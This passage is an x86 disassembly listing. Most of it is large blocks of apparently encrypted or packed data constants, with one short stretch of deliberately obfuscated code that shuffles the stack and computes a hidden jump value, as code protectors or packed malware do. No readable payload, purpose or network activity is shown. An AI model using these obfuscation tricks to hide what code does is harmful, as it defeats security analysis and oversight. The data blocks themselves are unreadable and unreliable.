		dd 0FAA2C008h, 0A9851EF9h, 41BC323h, 137B0B2h, 1E092655h
		dd 0A54DCFADh, 1085DB5h, 0B06B4143h, 0C65AA6D1h, 211DF36Eh
		dd 8EB45E56h, 76000000h, 953DC39Fh, 8931B994h, 7C24AE88h
		dd 6D15337Bh, 8E52357Eh, 2E23E62Fh, 56E2BB52h, 0ED61A0AEh
		dd 2D31C2BAh, 0EEC5DBDh, 94F4E48Ch, 1FB69243h, 2414BC44h
		dd 0C0E1CC4h, 0DD7A31A2h, 44C51DA3h, 2037DF6Bh,	7F550007h
		dd 165E55A3h, 63h, 6CF4CF04h, 0C27CD4C4h, 6EC59092h, 6DE32943h
		dd 14B89415h, 0C25E61D5h, 0C031A131h, 580060E2h, 0AE57A57h
		dd 8AEADA82h, 31D89DE2h, 40BE4420h, 67A5C30Bh, 0C5DAA54Ch
		dd 7CDD35A7h, 2AC59F92h, 0C26ACA4Ch, 0C2BA46B7h, 11937131h
		dd 88A6869h, 1DFC9560h,	29F0B555h, 5651583Eh, 10F5Eh, 9FD10000h
		dd 93943CC4h, 7AAF2D4Bh, 0AC21A9Ch, 2F20E700h, 1C7BCC54h
		dd 80BF3D87h, 37EEE307h, 3E3FE757h, 255AD8F6h, 2717BFDDh
		dd 7BB06ECFh, 41C21A9Eh, 87EBDF9h, 4A37EE93h, 0FAFC7ADAh
		dd 3431D80Bh, 28E0383Fh, 0EEB2AB1Dh, 0CACD9237h, 89D1CD15h
		dd 6BF7D061h, 0B9D3C12Dh, 0F570859h, 4849F1h, 0D66F3AE2h
		dd 0B8D61E33h, 0F843383Ah, 8AC8E62Eh, 30882572h, 8A0F11CFh
		dd 462388C3h, 0E906EDFh, 0A31E7666h, 582A4FBDh,	16E74h
		dd 5CF13600h, 7C559412h, 9C37EEDDh, 3B83842Ch, 0EE9D9F1Dh
		dd 70FCD590h, 129AD8C8h, 4FB00852h, 4C27569Eh, 201367A6h
		dd 0C33337EEh, 6BCBBB63h, 3E7AC2C3h, 0EE208BFFh, 0FB5BCB37h
		dd 0F2745253h, 0E66E494Ah, 3FDA733Eh, 0F126F833h, 0F3E38BA9h
		dd 8143469Bh, 8FCE6E4Ch, 37EE203Bh, 338BEB5Bh, 0FB4C6AB2h
		dd 29B76A50h, 552158h, 0DA0F0000h, 88C69FCh, 0F19650A8h
		dd 5695135Dh, 0B1C2BAC0h, 1C2AD242h, 0BA279BDAh, 0F767B1C2h
		dd 0BABE149Fh, 0EECBB1C2h, 0E7C1C26Ah, 0AB70B55Dh, 0E7B904ECh
		dd 0A64ED8B2h, 0E095EB6h, 47C50FA3h, 0C2BA9208h, 0B6D0D231h
		dd 3088D64Dh, 3EAE1A72h, 0ADDEEDh, 92F00000h, 0EB5AED90h
		dd 0C2D756ACh, 0CA087831h, 1F779C83h, 93115BF0h, 0BC3E1C51h
		dd 41CC2414h, 37EEBE4Ch, 73741C8Ch, 8D8F0D2Bh, 9FBA345Ch
		dd 2283DBDEh, 630B2971h, 0EE52E558h, 0C0BD037h,	9CED0B53h
		dd 0E05EA83Dh, 50EB5F9Eh, 0BB2B37EEh, 7496D563h, 9631D88Fh
		dd 2E707E26h, 9C2F9BEFh, 0F34BBB3Dh, 22FB2A72h,	76B83696h
		dd 2F81F534h, 51C13D9Ch, 9C2F60D6h, 2C54A23Dh, 0CFC96C64h
		dd 508F0D6Dh, 3D9C81FAh, 9C54AC1Ch, 320B4092h, 0B60EFEA6h
		dd 66FBA661h, 3AB2D0Bh,	0F635B313h, 3BAA5ED4h, 3EC29FD4h
		dd 0E24EA696h, 0F1372172h, 5594125Ch, 37F465B5h, 98B6FE33h
		dd 3CA800F0h, 3F194ECCh, 0C51D0DB5h, 95C40C0Dh,	988830BCh
		dd 1167DB1Ah, 37A737F3h, 8DD586D7h, 4ABCC76Fh, 9162A2A7h
		dd 7AFCDA0Fh, 358AE2D2h, 6357D52h, 8F8A0BEh, 47F74B8Ah
		dd 0A71708C3h, 4587C947h, 0C347B006h, 0E762D208h, 8C34793h
		dd 8AEB43B3h, 0CB7391D9h, 0BD65F1CAh, 0E2FF9AB3h, 0BCFE7C9Ah
		dd 0C344097Dh, 81D94908h, 522D6220h, 0DA3222CAh, 4BF31159h
		dd 3ECh, 0BDF7FE00h, 9038589Fh,	8129478Fh, 771FA380h, 6E169876h
		dd 630B916Dh, 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh
		db 15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	73D3h
		mov	[esp], ecx
		push	403Ah
		mov	[esp], ebx
		mov	ebx, 2B5306BAh
		neg	ebx
		neg	ebx
		add	ebx, 3B1E3D5Eh
		xor	ebx, 6040EEF5h
		mov	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		sub	dword ptr [esp], 7C536229h
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 7C536229h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dw 0D305h
		dd 69CE2E0Eh, 158A6860h, 0DFB801BCh, 30631AFh, 0D8E0FFC5h
		dd 0CD124133h, 195E130Ch, 0E622D299h, 48646D02h, 9430EE63h
		dd 85202085h, 1139BEF0h, 234DFDB9h, 966BA7EFh, 0A124E054h
		dd 761E8A9Ah, 0F4043D0Ah, 864A0F2Fh, 9A4F3413h,	0AD1EBA91h
		dd 7719F6Ah, 8771F527h,	4F3A1C69h, 0E5068E21h, 1F293723h
		dd 0E52560D7h, 2F36F8D3h, 8F1AE7E7h, 924D78E9h,	0F408614h
		dd 0AE490AA0h, 8D167AA8h, 31B19B8Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0D1B11571h
		dd 0F936D48Ah, 21BD8950h, 89062C29h, 2C2BA58Dh,	79EF8006h
		dd 12D985C7h, 5E94062Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 1AC69CC3h, 5FC61BBEh
		dd 858BEE74h, 62C13FDh,	29C185C7h, 62Ch, 958B0000h, 62C1581h
		dd 599B5FFh, 5352062Ch,	95FF5F5Fh, 62C15F5h, 7558D31h
		dd 6A062Ch, 26B195FFh, 0C08B062Ch, 0D56829EBh, 0D55BEC4Ch
		dd 7FF73ADDh, 111FF1E0h, 0D2ED5FB5h, 0D86DB4BCh, 0A34C92BAh
		dd 0CAB5DA51h, 7E3D0FF7h, 333D02FDh, 0E9623564h, 19h, 3A483EAFh
		dd 5 dup(0)
		dd 0BC7E900h, 0A8680000h, 0E90631B3h, 0FFFB9495h, 31B4A068h
		dd 948BE906h, 0F068FFFBh, 0E90631B5h, 0FFFB9481h, 31B6F268h
		dd 9477E906h, 0B868FFFBh, 0E90631B9h, 0FFFB946Dh, 31BB4868h
		dd 9463E906h, 7468FFFBh, 0E90631BCh, 0FFFB9459h, 9F1D4F7Ch
		dd 1E9CCEF9h, 9F1D4778h, 219FC7F9h, 9F1D417Bh, 9FCDA2BFh
		dd 1F4BF16Fh, 93CB71EFh, 1C4FF573h, 0AFDA78F6h,	92DB1693h
		dd 74AA7777h, 1847BFAEh, 0E2FF56EAh, 0F00F3AD3h, 701875BAh
		dd 58F04F7Eh, 0E7929893h, 10D553E7h, 0F8A3FA32h, 0C3F55FDCh
		dd 0BF1CC07Dh, 0A6C26D18h, 7DC3F529h, 7189E68Ah, 47B8176Dh
		dd 2C7A0825h, 2F5316BAh, 0FE56FAD2h, 0E501AC57h, 77985868h
		dd 0E05D25C9h, 41779858h, 0AF28409Dh, 0F6779858h, 54469EC4h
		dd 3BA0F816h, 90713A60h, 0A6C32575h, 6C09BC29h,	829CF9BCh
		dd 6B749C0Fh, 3A6Fh, 0B38FC900h, 65052279h, 1EF0C399h
		dd 0C5E188E5h, 47B8A82Dh, 0C0D830D4h, 77986947h, 8266344Fh
		dd 0DB33518Ch, 11809AF7h, 966B74A4h, 7552CFEBh,	0FB37798h
		dd 0D0E2B2h, 0F93C0000h, 0C06390DCh, 0AB4DB638h, 11F54DB1h
		dd 698BC2B4h, 0C12D1F11h, 0FB17C269h, 7DC4557Eh, 0ECDE3BDFh
		dd 493B93F1h, 0A672F012h, 7DC47F22h, 8BE9E4DAh,	0DCF84F33h
		dd 7DC4515Fh, 0CDBF1CC0h, 271D749Eh, 9175CD31h,	8DC06634h
		dd 20FE0F67h, 827491E8h, 8B80626Dh, 75913895h, 47B83F85h
		dd 0DBD128CCh, 462A82E0h, 88561BE9h, 0C8CDE940h, 494189E0h
		dd 4314EA5h, 6109DCFCh,	645A015Eh, 0E2880668h, 7C284EAh
		dd 0B255C41Eh, 9825D9Ah, 0D9060000h, 448329A7h,	0C902A826h
		dd 4D8329A7h, 0D705AB29h, 2C4929A7h, 7BF96557h,	0FB79E9D5h
		dd 7FFD6555h, 280E2D9h,	0A01D3964h, 17792D9h, 0BEAEFE34h
		dd 0C703F950h, 0E6B4FA7h, 41A39A40h, 0B38F19C3h, 3CA76444h
		dd 2EE4F20Ch, 0B2723B90h, 0D82FC3E9h, 0DC06372Dh, 92CF677Fh
		dd 0D27647B8h, 52E9627Ah, 38307798h, 548C7ED6h,	0F5E8DA32h
		dd 6353378Fh, 78595248h, 59383D5Dh, 256B74BAh, 0B4h, 55BFAE7Fh
		dd 0ADD10BFDh, 3616056h, 62E6FEA6h, 1A7DC4B5h, 6EC62824h
		dd 3B2D8Ah, 8FBE64E2h, 26FC0D65h, 83738FE6h, 0CA47B8AFh
		dd 574DA826h, 0BFA3FB6Bh, 3B8D5162h, 84F0EEE4h,	3F972B49h
		dd 3B57FE5Bh, 418A5125h, 0B0CD24C8h, 0F4245154h, 0DD84E185h
		dd 427BF5E7h, 50E4C820h, 0B0CC77D2h, 716A2333h,	0A193F094h
		dd 4C8143ABh, 0B55C58Ah, 88AB6F3h, 0D10E0000h, 5C8B31AFh
		dd 0D10AB02Eh, 558B31AFh, 0DF0DB331h, 345131AFh, 83016D5Fh
		dd 381E1DDh, 87056D5Dh,	0A88EAE1h, 0A825416Ch, 97792D8h
		dd 0BEAE063Ch, 8177D250h, 0D9CB284Ah, 580280E2h, 0FD55BFAEh
		dd 34B2D00Bh, 259936Fh,	0B8D8CAE6h, 75CD7147h, 0AC2A4883h
		dd 55ADD706h, 1474F63Dh, 4E4CB7C2h, 78F61C4Fh, 0CD31271Dh
		dd 0FEEF9175h, 0FB583C94h, 0A8A2D209h, 465EB64Ah, 0E41435C6h
		dd 0ADF0AAC5h, 0E0FD54BEh, 0E6FA26DAh, 54227F2Fh, 0FD55BFAEh
		dd 13FB6FE5h, 8515C4E4h, 41BF2518h, 0EA42A09Bh,	6CC305D9h
		dd 82B0050h, 0E56307AEh, 0B30A4220h, 0DC13B797h, 2E190FA7h
		dd 0DE8064BCh, 4F2784EAh, 0BB3B53ABh, 0C9D7BBE4h, 889ECAEh
		dd 760B5124h, 4AFh, 8C59021Fh, 31E934C9h, 0D9315D8Fh, 0A5A298F5h
		dd 0A0E8B64Dh, 0AA612D49h, 0A39947B8h, 9ED45A9h, 6B1996B2h
		dd 0D67A7798h, 5AFDA179h, 0E958F6CEh, 0CE1EE40Ah, 0DFFF5B77h
		dd 822664BCh, 4045192Ah, 9C70A724h, 0D0640894h,	0A6F85D79h
		dd 95395E90h, 776933Eh,	4568E330h, 0BFAEA0FDh, 0ECDD1B47h
		dd 0B2462A82h, 5CB4D210h, 0C066E478h, 2EA5678Dh, 81B6CB97h
		dd 73A2C69h, 81BE0000h,	0C3BE15Fh, 81BA60DEh, 53BE15Fh
		dd 8FBD63E1h, 0E401E15Fh, 33B1DD0Fh, 0B331518Dh, 37B5DD0Dh
		dd 0BA385A91h, 58D5F11Ch, 0B97792D8h, 3F9B6ECh,	584AA7C7h
		dd 0B5A7FF65h, 0F1134C84h, 0EDEEDF5Dh, 47000000h, 0E7A5F02Ah
		dd 80C38CF6h, 6C96C745h, 8F857BD8h, 57C678B2h, 0C0DAB5DFh
		dd 0E4617D28h, 457DC48Ch, 672A44A1h, 4065487Ch,	0C979EB23h
		dd 0AD0AA4DBh, 70DDh, 0B28F3700h, 80762178h, 0ECD0284Eh
		dd 8CFC7995h, 0B95D7DC4h, 8CC4445Ch, 872B7DC4h,	0E40E3D2Fh
		dd 598DC066h, 0B6A80062h, 21055D87h, 90A1F98Dh,	7237AB2h
		dd 47B8D2ABh, 0D24F6BD2h, 33779863h, 94FEED8Fh,	5C77A800h
		dd 9B5A373Eh, 0A24D6B74h, 874FBDACh, 7798660Ah,	26884A2Ah
		dd 0AC345623h, 0E746608h, 7E1B1h, 633B0000h, 0FBh, 79B38F6Dh
		dd 0C6120622h, 0D57947B8h, 0B3D5CA13h, 90CDE55Fh, 638h
		dd 0DF5D8FBCh, 5EDC0E39h, 0DF5D87B8h, 61DF0739h, 0DF5D81BBh
		dd 0DF0DE2FFh, 5F8B31AFh, 0D30BB12Fh, 5C8F35B3h, 0EF1AB836h
		dd 92D756D3h, 0B4EAB777h, 0E5CA03F9h, 0C48D4CC9h, 7509AD7Dh
		dd 8C85021Eh, 42E67DC4h, 0AF0FD4E5h, 15F951BDh,	0B760CF81h
		dd 0A497C9FFh, 6052AA3Eh, 48AD056Fh, 6A7E2D6Dh,	276A0B8Fh
		dd 57654880h, 5Eh, 78B28FB1h, 86AC57C6h, 0B86EFABh, 73654880h
		dd 4Ah,	78B28FCDh, 75FA0421h, 0F1E8D43Ah, 53239294h, 3890F2EBh
		dd 0A261B46h, 7DC4158Dh, 5EB64AEEh, 1497031Eh, 73752500h
		dd 84011DC8h, 0E57DC415h, 15FC7941h, 0B95D7DC4h, 3DE2445Ch
		dd 4F197DC4h, 6548FB43h, 0FFFE8A3Dh, 0B28F97FFh, 8757C678h
		dd 0ADC8D2ADh, 65487FE4h, 7191CDC3h, 2514414h, 0F99E0000h
		dd 4EA6C403h, 0A7FF6D5Ch, 5C8D2FC3h, 99F6DA32h,	0F149B5A7h
		dd 4DA5C9FFh, 0C9D4C631h, 0F8CA893h, 707DC48Dh,	14BA38CCh
		dd 695FB6D8h, 0BF450E70h, 544D796Fh, 0C2D37BD8h, 3955ACFCh
		dd 47B7C355h, 0D6A0F89Ch, 0F2EAB3E7h, 74680E8Ch, 84AE2B47h
		dd 2ECE7797h, 0A0340A7Fh, 7105A931h, 437C7219h,	88E5C921h
		dd 9787F770h, 0C5D5F077h, 0FC7AE4D8h, 0A0F86656h, 7C44B38Fh
		dd 0D8AA69Ch, 6E779789h, 0A29601CAh, 29D42BBFh,	81E5627Eh
		dd 0A2467797h, 0D3452D45h, 0E88C418Bh, 8FD9A56Ah, 0F4718D38h
		dd 55716B54h, 0B2D00FB1h, 7219765Ah, 5F840656h,	16483E3Bh
		dd 57B498F0h, 749ECD7Fh, 0F37088E0h, 3A6B3F46h,	988AE200h
		dd 19E33BA9h, 4B3B702Ah, 887E6A30h, 0BFD02D57h,	5C52A9E3h
		dd 0FAA1FE60h, 33768EDEh, 9CD0C635h, 0D9361A72h, 39DF5D01h
		dd 9688E002h, 9F3E2FA7h, 0BECB3B6Dh, 0BF17AB43h, 45F047DBh
		dd 29F11D4Fh, 65135FACh, 3E0C690Dh, 0C63A579h, 781ECF0h
		dd 160C732Fh, 74F1B92Bh, 0D55EE741h, 9B469D31h,	0E742027Fh
		dd 62BF635Eh, 4229A2BAh, 16315EE7h, 0C7A0F184h,	2CDE8425h
		dd 38000000h, 2279B38Fh, 0B8A86E06h, 19711547h,	0E625572h
		dd 430C7665h, 0D532DD27h, 978E44BDh, 69314C77h,	757F850Ch
		dd 0C0F96Bh, 0AE530000h, 6E8920BFh, 63EA74A9h, 0E2760A68h
		dd 3AA4988Ah, 97FDF0E2h, 0F41E4D3Fh, 6126AA76h,	58937DC4h
		dd 32DE5B77h, 9B3F7DC4h, 0FEC48907h, 3352CFEBh,	0FB37DC4h
		dd 5C79247Bh, 0A75B4A6Bh, 4D65C21Fh, 47B57BB5h,	3DA1978Dh
		dd 0CCA401E5h, 0E1DBD128h, 0F9A4FF7Dh, 94FE60DDh, 14E8C177h
		dd 0C39FD4FCh, 9FB58ECh, 0D6E9ABD3h, 0B15FB0CCh, 3725C99h
		dd 0C9F60000h, 74731997h, 0F9F29816h, 7D731997h, 0C7F59B19h
		dd 1C391997h, 6BE91547h, 0EB6999C5h, 6FED1545h,	0F27092C9h
		dd 900D2954h, 0F17792D3h
		dd 0BEAEEE24h, 0ADCF950h, 0F6185141h, 0A5E9802Dh, 291F7A48h
		dd 9377CF37h, 0EB094436h, 0BFAEC36Dh, 9586A520h, 8EBE69B9h
		dd 90240860h, 0BBB2A4FCh, 8A80DB59h, 0C72D205Ch, 9FF78B6Fh
		dd 0AE685EBBh, 0BA1747BFh, 0AEB382DFh, 9327BB73h, 0F012493Bh
		dd 62D1AD72h, 0C42D55F5h, 0EE45D9E6h, 0B826CED2h, 5F908647h
		dd 5C00D835h, 0E673EC04h, 607B7797h, 22563B3Ah,	51286B75h
		dd 82000000h, 53F0DCF9h, 0F340ECE0h, 0A60397F7h, 287FC995h
		dd 658607Dh, 0EB43A39Fh, 49CC3E07h, 0D46C84E1h,	7B47B7BAh
		dd 0E2D87FD7h, 4D3189EBh, 7B5FD8F0h, 4C677797h,	926A274Eh
		dd 203D6B75h, 75AA2B8Ah, 97A972A0h, 4BB597Ah, 0D09D6DCAh
		dd 0F7000000h, 0BBBCDCF9h, 0BAE9AD94h, 12706B5Dh, 6A94C8BAh
		dd 0C72D2012h, 244E7D6Fh, 890622CDh, 0EA7DC479h, 49DD0738h
		dd 0CDC31EECh, 0FA126F9Fh, 7DC4A276h, 0E006382Eh, 74F06D89h
		dd 0AD517DC4h, 56F5E50h, 88EAE187h, 46431F30h, 0C474AD2Ah
		dd 635C0E7Dh, 82D96D01h, 0B8AE2A66h, 0EF6D1147h, 82AF9E94h
		dd 9840E966h, 12A64A77h, 6F95C8BAh, 429F3317h, 0C41B6D31h
		dd 8A0EFAA8h, 0C219BD41h, 0F06E90CCh, 43A39F95h, 0B8AA07EBh
		dd 1B985A84h, 8E55C51Eh, 1E23976h, 79660000h, 0E4E38907h
		dd 69620886h, 0EDE38907h, 77650B89h, 8CA98907h,	0DB5985B7h
		dd 5BD90935h, 0DF5D85B5h, 62E00239h, 7D99C4h, 617792D2h
		dd 0BEAE5E94h, 312CD250h, 8FAB55D3h, 13736BB3h,	0EC43D7BBh
		dd 0B8A938D0h, 0E33BDF47h, 986A52CBh, 3FA79977h, 9DC5F5E7h
		dd 0EAB05F45h, 0D5C5E0C1h, 74A2F1A0h, 6299B66Bh, 4CBACE55h
		dd 7E4EABh, 0D8000001h,	0A5C903F9h, 0FD675648h,	53B1B0A6h
		dd 12BA17FBh, 27A4C06Bh, 887DC48Dh, 0A79587E4h,	43C7DF37h
		dd 0B07DC4B6h, 85D822BDh, 4AED0398h, 0B195ED1Fh, 650B891Dh
		dd 98B50C76h, 2191DCB1h, 0CB3526ACh, 2132DA37h,	0AF2C485Dh
		dd 107DC47Dh, 0A13CA36Ch, 0FB8F6EF4h, 0B8F41067h, 0D047B894h
		dd 2A82E0DAh, 5F11E946h, 90AC0363h, 77982713h, 0E53CD074h
		dd 0C223E2C8h, 0F552B505h, 899C6227h, 9846F06Dh, 19AD5177h
		dd 7EFB17C2h, 0DF779846h, 1B37DE3Bh, 418A160Eh,	9E94EB8Fh
		dd 55877DAEh, 97E46129h, 0A1457169h, 88C0B60Dh,	953B0966h
		dd 767537A7h, 3955C515h, 0B6E421h, 0D3A0000h, 88B75DDBh
		dd 536DC5Ah, 81B75DDBh,	339DF5Dh, 607D5DDBh, 0AF2D518Bh
		dd 2FADDD09h, 0B3315189h, 36B4DE0Dh, 0D4516D98h, 357792D0h
		dd 0BEAE3268h, 0CB03F950h, 0CD6F53ABh, 361A729Ch, 76650BD9h
		dd 0AEE48E0Ch, 0BFD55BFh, 6F34B2D0h, 57025993h,	8D1390ACh
		dd 0D747DC4h, 0C48C74F1h, 9D31D57Dh, 5A7D2840h,	9E4247B3h
		dd 0DDDA2A47h, 689B1796h, 7A71630Bh, 92CBC118h,	0D7341870h
		dd 0A686309h, 0ADC09AB2h, 0B89FAB19h, 0C698BC2h, 0E9E4B9E1h
		dd 74670D8Bh, 8CC4B60Eh, 5948126Ah, 3615C41h, 38342A85h
		dd 3D9A7ED6h, 9AF2104Bh, 35Dh, 4AB06700h, 0F74FB1AEh, 54ACD605h
		dd 0B20A6862h, 0C6482C0h, 64BC221Ah, 0BC147A72h, 187096CAh
		dd 73CB3526h, 0CC244681h, 0E1895191h, 4C181h, 0E9830000h
		dd 240C8704h, 6824248Bh, 5FA6h,	68242C89h, 3F2Ah, 57243C89h
		dd 31B23268h, 0FD895F06h, 3C8B545Fh, 4C48124h, 83000000h
		dd 2C8904ECh, 8478F24h,	5F2434FFh, 8B04C483h, 8950242Ch
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0FFFB88DDh
		dd 61CFC593h, 0BD4FB844h, 0C5030631h, 8FD6E0FFh, 3F85FBCh
		dd 49680F43h, 43325BF0h, 68E772BAh, 23AD492Dh, 0B2926C30h
		dd 0BA15064Ah, 8CD46037h, 3E0B717Dh, 88F2646Eh,	0E12E350Bh
		dd 494A645Bh, 13C425B8h, 8D8835D5h, 5B8A4B04h, 0A2356512h
		dd 10A804B9h, 0D1E04D34h, 99404225h, 0F30A4DD2h, 392E0AA2h
		dd 515246CDh, 9E71505Dh, 0E30F3A49h, 91973524h,	7FE1370Ch
		dd 320E1002h, 0CF6C7CF4h, 1EE97E83h, 12000000h,	9C698585h
		dd 77E733h, 5 dup(0)
		dd 0D30E900h, 0F680000h, 0E90631C0h, 0FFFABE4Ah, 31C11768h
		dd 0BE40E906h, 8B68FFFAh, 0E90631C2h, 0FFFABE36h, 31C38B68h
		dd 0BE2CE906h, 368FFFAh, 0E90631C5h, 0FFFABE22h, 31C76268h
		dd 0BE18E906h, 0B068FFFAh, 0E90631C8h, 0FFFABE0Eh, 31CA0D68h
		dd 0BE04E906h, 0B0F7FFFAh, 0B48E3F90h, 4D28D92Ah, 0EAC374C5h
		dd 805C0D5Eh, 821BA9FAh, 0B4058B67h, 52A32503h,	0EF40C4A1h
		dd 87D8F63Eh, 0B90D4CDAh, 0D937F304h, 579F0503h, 48909139h
		dd 0BA79CD0Ch, 0AA8431C2h, 2C887820h, 0E7714BBCh, 42D73687h
		dd 6A457AF8h, 0BDFC8AE2h, 37EED7E8h, 0E75B9A28h, 2737EEA7h
		dd 0AD648FD9h, 9CFC5700h, 4486943Ch, 9A1E7242h,	0D24DED4Dh
		dd 37EE9F7Ch, 4BD62E9Eh, 37EE9FF3h, 2530D7F0h, 582A283Fh
		dd 0BD115092h, 0DD37EE94h, 53EB156Dh, 0AD000000h, 94125CF1h
		dd 0EEDECC55h, 34DC4C37h, 2EAD2426h, 0EF2C8BCBh, 87B20C97h
		dd 7FC737EEh, 0DBB8B961h, 66AEAF57h, 95740D48h,	6A2D46CDh
		dd 2A14957Bh, 67A6E858h, 37EEF313h, 5CB8D61Eh, 0F80FAEECh
		dd 5DEB254Dh, 0C8DB05h,	94C90000h, 9C8C34B6h, 5D928A44h
		dd 6555FD7Fh, 26448C0Dh, 0AA17D7Eh, 9F47A72Fh, 9038569Eh
		dd 0D829478Fh, 0C2BFFC1Dh, 0A1BF0731h, 39579F50h, 34DE291h
		dd 0C5654685h, 2E6337EEh, 3424CC52h, 0A3E270DCh, 37EEB62Fh
		dd 4E9FFF6Fh, 92105AEFh, 7BCF0E50h, 9B37EEB6h, 4A48D32Bh
		dd 0AC31DD67h, 477CBE3Ch, 98AE26Eh, 0E729A72Dh,	980452A8h
		dd 18F3743Dh, 98F8E890h, 522EDF40h, 0B8EA67CCh,	0BEF64A83h
		dd 0AD25Fh, 29499000h, 0C34D27D8h, 5EE6C172h, 0F7835C0Dh
		dd 9319F5A6h, 0FE1BB442h, 9A4B9C22h, 38E93ABCh,	0D586D75Bh
		dd 711E6F8Dh, 7A2EA4E3h, 9A7037F3h, 2CC39F9Ch, 59DBB950h
		dd 161C1B1h, 99B7FFB0h,	5CF15E48h, 13529412h, 31C2BABFh
		dd 89176FDFh, 0EEDED94Ah, 53D14137h, 668A2851h,	4CA4FC96h
		dd 7E318994h, 152E37EEh, 8D7D6372h, 8ED05829h, 0EE6AFB4Fh
		dd 53AB1B37h, 0D829h, 579FEB00h, 81839139h, 0BCE8F946h
		dd 61E23AE2h, 3F81FF85h, 0C2518A00h, 45CCC31h, 5498414Ch
		dd 0E32B31C2h, 7BC374C5h, 42EA704Ch, 7B99E152h,	583E3D3h
		dd 0BD9F4A03h, 0C1B159E3h, 92DF5683h, 9161D514h, 31A131C2h
		dd 0DD7221D9h, 0D1D31593h, 0D2994773h, 0E772CA76h, 37EE9F06h
		dd 0A765B626h, 5B0841A5h, 0B0083614h, 24A2EC81h, 0DDEA3AE5h
		dd 6CEA5A31h, 0E7C45B37h, 8DED7952h, 4F2BDC2Dh,	2C2764C9h
		dd 0B1E94A84h, 9CA52h, 21418800h, 0BB451FD0h, 56DEB96Ah
		dd 0EF7B5405h, 8B11ED9Eh, 0F613AC3Ah, 9243941Ah, 30E132B4h
		dd 0CD7ECF53h, 69166785h, 7B269CDBh, 926837F3h,	845D9294h
		dd 764F50F8h, 0F25242EAh, 0B73D199Ah, 716DB566h, 614F1A0Dh
		dd 0EC3D9D2Ch, 39579F02h, 2A489091h, 9BE57AD9h,	5EA6DB1Dh
		dd 50A89840h, 0EEC414C5h, 0DC84F437h, 0EEB378D1h, 0BD5C7537h
		dd 0A0165597h, 0E237EEB3h, 0B99F1A72h, 70582A44h, 636h
		dd 0C54F295Eh, 1BD52D1Dh, 28015CF1h, 0A404F49Ch, 0BBAAE726h
		dd 5ACA37EEh, 0BB57A7B2h, 334C37EEh, 4C9B8154h,	0B9EE582Ah
		dd 0CE657DDh, 92EADA82h, 60168h, 48215600h, 0CC2414BCh
		dd 155D9212h, 75F4FF7h,	7BF943D8h, 0EEEBFF3Ch, 7AF1F37h
		dd 0EE8B82FCh, 1A4FA137h, 0C0DB541h, 0F24AAA30h, 5EBFA9Dh
		dd 0BC582A1Dh, 5CAh, 959F3B7Eh,	0F938B600h, 37EEDCFCh
		dd 579B8FAh, 4537EE98h,	0A1117DD5h, 0C6A9EAF5h,	790EBBFBh
		dd 12BA441Eh, 544C222h,	0A5AF9C04h, 4DC10042h, 78A9AFD9h
		dd 7D6D159Dh, 0ED59B121h, 9126D57Dh, 5287C947h,	0D98F076h
		dd 0AF8397A1h, 0EC7650D1h, 8DCC0E8Ch, 0AF5B2739h, 3078E959h
		dd 0EA2CBA12h, 0F736D8B5h, 0AF5B2783h, 9BF353C3h, 63B4D21Ah
		dd 0F33B6AB2h, 0FF8B64D5h, 984B3A9Fh, 7DB5DCC2h, 8561Eh
		dd 0ADCD1400h, 47D1AB5Ch, 0E26A45F6h, 7B07E091h, 179D792Ah
		dd 82A738C6h, 1ECF20A6h, 0BC6DBE40h, 590A5BDFh,	0F5A2F311h
		dd 78D22867h, 1EF437F3h, 39579F20h, 34DE291h, 17414385h
		dd 1CEE757Bh, 1233BE16h, 0CA37F4D3h, 0C4E095Ah,	0EA37F0D3h
		dd 6280C8B9h, 4BD5AFE4h, 9F3392F3h, 0D382F837h,	43C437F0h
		dd 1D7DDDFBh, 0D3F2609Fh, 0B42437F0h, 0EDC9FE0Ch, 77CFBF67h
		dd 1290AEF6h, 9F225210h, 1BFD3BC5h, 47AB9CBh, 4637F089h
		dd 0BD1E76D6h, 0F0899802h, 4CD0AD37h, 0E4024AFBh, 99D9313Ch
		dd 0E3A837F0h, 0C5E32B24h, 4C7BC374h, 0D8BEB6Fh, 304E96CBh
		dd 0A91D9888h, 0E937F099h, 5E692179h, 37F0E9ECh, 3F10F710h
		dd 265BD9F7h, 0D55C648h, 273697EFh, 110h, 39579F39h, 2FB39091h
		dd 0BA067C87h, 0EB3331C2h, 0E17625CDh, 0A9DA1997h, 7137F478h
		dd 0B8E39C01h, 0D50D445Ah, 75676h, 0ADCD1400h, 47D1AB5Ch
		dd 0E26A45F6h, 7B07E091h, 179D792Ah, 82A738C6h,	1ECF20A6h
		dd 0BC6DBE40h, 590A5BDFh, 0F5A2F311h, 79D22867h, 1EF437F3h
		dd 39579F20h, 26A886BBh, 391516CEh, 0D4B162B3h,	0C29DD250h
		dd 4AA2923Ah, 0D2F038E9h, 7FD31254h, 9F31C2BAh,	0B876D72Fh
		dd 7820A883h, 0D3AF3088h, 0C8A4A54Dh, 4ECC5831h, 0C2BABB0Fh
		dd 0B6BDB31h, 18FF9863h, 0A22A053Ah, 31B20AFAh,	0C07ECF55h
		dd 832BAD8Bh, 0D50FC7B5h, 0E04091C4h, 0FC270D88h, 0EDE5E55h
		dd 0A0000000h, 9341h, 704A7F00h, 0F64E3EE6h, 7F5D923Ch
		dd 7B5455FDh, 0B6378FEFh, 9FF3326Eh, 0BF31C2BAh, 3C47EF4Fh
		dd 31C2CAC2h, 1D32D5EEh, 0A866B7D5h, 69119773h,	0C3A02179h
		dd 338C973Fh, 4D31C2AAh, 5467B9BBh, 0A04964B5h,	3B14F348h
